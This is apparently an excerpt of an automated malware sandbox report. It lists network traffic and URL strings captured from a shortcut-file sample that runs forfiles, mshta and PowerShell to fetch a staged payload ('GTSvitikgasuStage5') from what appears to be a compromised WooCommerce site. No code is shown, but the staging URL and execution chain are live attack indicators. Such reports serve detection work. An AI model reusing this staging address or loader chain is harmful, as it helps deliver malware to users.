Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules/v2/Assets/Css/customize-table.css?ver=2.3.8 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/themes/flatsome/assets/css/flatsome.css?ver=3.17.5 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/themes/flatsome/assets/css/flatsome-shop.css?ver=3.17.5 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/js/husky.js?ver=1.3.4.2 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.1 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.8 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules/v2/Assets/Js/awdr-dynamic-price.js?ver=2.3.8 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-contact-form-7-tracker.js?ver=1.13.1 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7 HTTP/1.1Accept: */*Referer: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gurt.duna.uaConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: gurt.duna.ua
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 27 Oct 2024 06:35:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closelink: <https://gurt.duna.ua/wp-json/>; rel="https://api.w.org/"x-turbo-charged-by: LiteSpeedx-ray: wnp447:0.300/wn447:0.250/wo447X-Page-Speed: onCache-Control: max-age=0, no-cache
Source: select_radio_check[1].css.4.dr String found in binary or memory: http://codepen.io/elmahdim/pen/hlmri
Source: svchost.exe, 00000007.00000002.3290543621.0000021325000000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: chosen.min[1].css.4.dr String found in binary or memory: http://getharvest.com
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://gmpg.org/xfn/11
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://gmpg.org/xfn/114
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.w.org/
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.jsdelivr.net/npm/intersection-observer-polyfill
Source: edb.log.7.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000007.00000003.2255431582.0000021324D40000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: chosen.min[1].css.4.dr String found in binary or memory: https://github.com/harvesthq/chosen
Source: chosen.min[1].css.4.dr String found in binary or memory: https://github.com/harvesthq/chosen/blob/master/LICENSE.md
Source: mshta.exe, 00000004.00000003.2148804238.00000134703B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148804238.00000134703AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.du
Source: mshta.exe, 00000004.00000003.2148804238.00000134703B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148804238.00000134703AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.dua/pr
Source: mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.dun
Source: mshta.exe, 00000004.00000002.3290715017.0000013470449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/#website
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/?s=
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/cart/
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/comments/feed/
Source: mshta.exe, 00000004.00000002.3291302874.00000134705F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/comments/feed/G
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/dohovir-oferty/
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/feed/
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/help/
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/my-account/
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/my-account/edit-account/
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/my-account/lost-password/
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/my-account/orders/
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/my-discounts/
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/order-table/
Source: mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp, sbOq2d6k2t.lnk String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5
Source: mshta.exe, 00000004.00000003.2148626688.0000013470393000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5#F9p4
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5#_?p4
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5#p?p4
Source: powershell.exe String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5$global:?
Source: mshta.exe, 00000004.00000003.2148398104.0000013470401000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5...
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5...Jxs
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5...hx
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5...ly
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage50
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage54v%
Source: forfiles.exe, 00000000.00000002.2072042002.000001CF86BE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage57E
Source: mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage58x;p4
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5:
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5;
Source: forfiles.exe, 00000000.00000002.2072042002.000001CF86BE0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E0A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5C:
Source: mshta.exe, 00000004.00000003.2148626688.0000013470397000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Cy9p4
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5E
Source: mshta.exe, 00000004.00000002.3289411805.0000012C6F980000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5H
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Lv
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Lw
Source: mshta.exe, 00000004.00000002.3289845446.000001346FEE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5P
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Tv
Source: mshta.exe, 00000004.00000003.2284096124.000001347038D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5U
Source: mshta.exe, 00000004.00000003.2148398104.0000013470404000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5UN
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5Y
Source: mshta.exe, 00000004.00000002.3289028213.0000012C6E070000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5_STRING
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5dv
Source: mshta.exe, 00000004.00000002.3291040038.0000013470535000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5https://gurt.duna.ua/programy-nauczania/GT
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5i
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5j
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5kies
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5lw
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5n
Source: mshta.exe, 00000004.00000003.2284096124.000001347038D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5o
Source: mshta.exe, 00000004.00000003.2148626688.0000013470399000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5p
Source: mshta.exe, 00000004.00000003.2284096124.000001347040D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5q
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5tory.IE5ntJ
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5tw
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5u
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/ru/optovaia-prodazha-duna/
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/shop/
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-admin/admin-ajax.p
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290715017.0000013470449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-admin/admin-ajax.php
Source: mshta.exe, 00000004.00000002.3291040038.000001347053D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-admin/admin-ajax.phpuX
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-admin/js/password-strength-meter.min.js?ver=6.1.3
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-co
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnI
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnI.nav-pagination
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4iFU0UzdYPFkaVNA6w.woff)
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4iFUkUzdYPFkaVNA6w.woff)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4iFV0UzdYPFkaVN.woff)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4iFVUUzdYPFkaVNA6w.woff)
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4iFWUUzdYPFkaVNA6w.woff)
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4iFWkUzdYPFkaVNA6w.woff)
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/fonts/rubik/iJWZBXyIfDnIone;
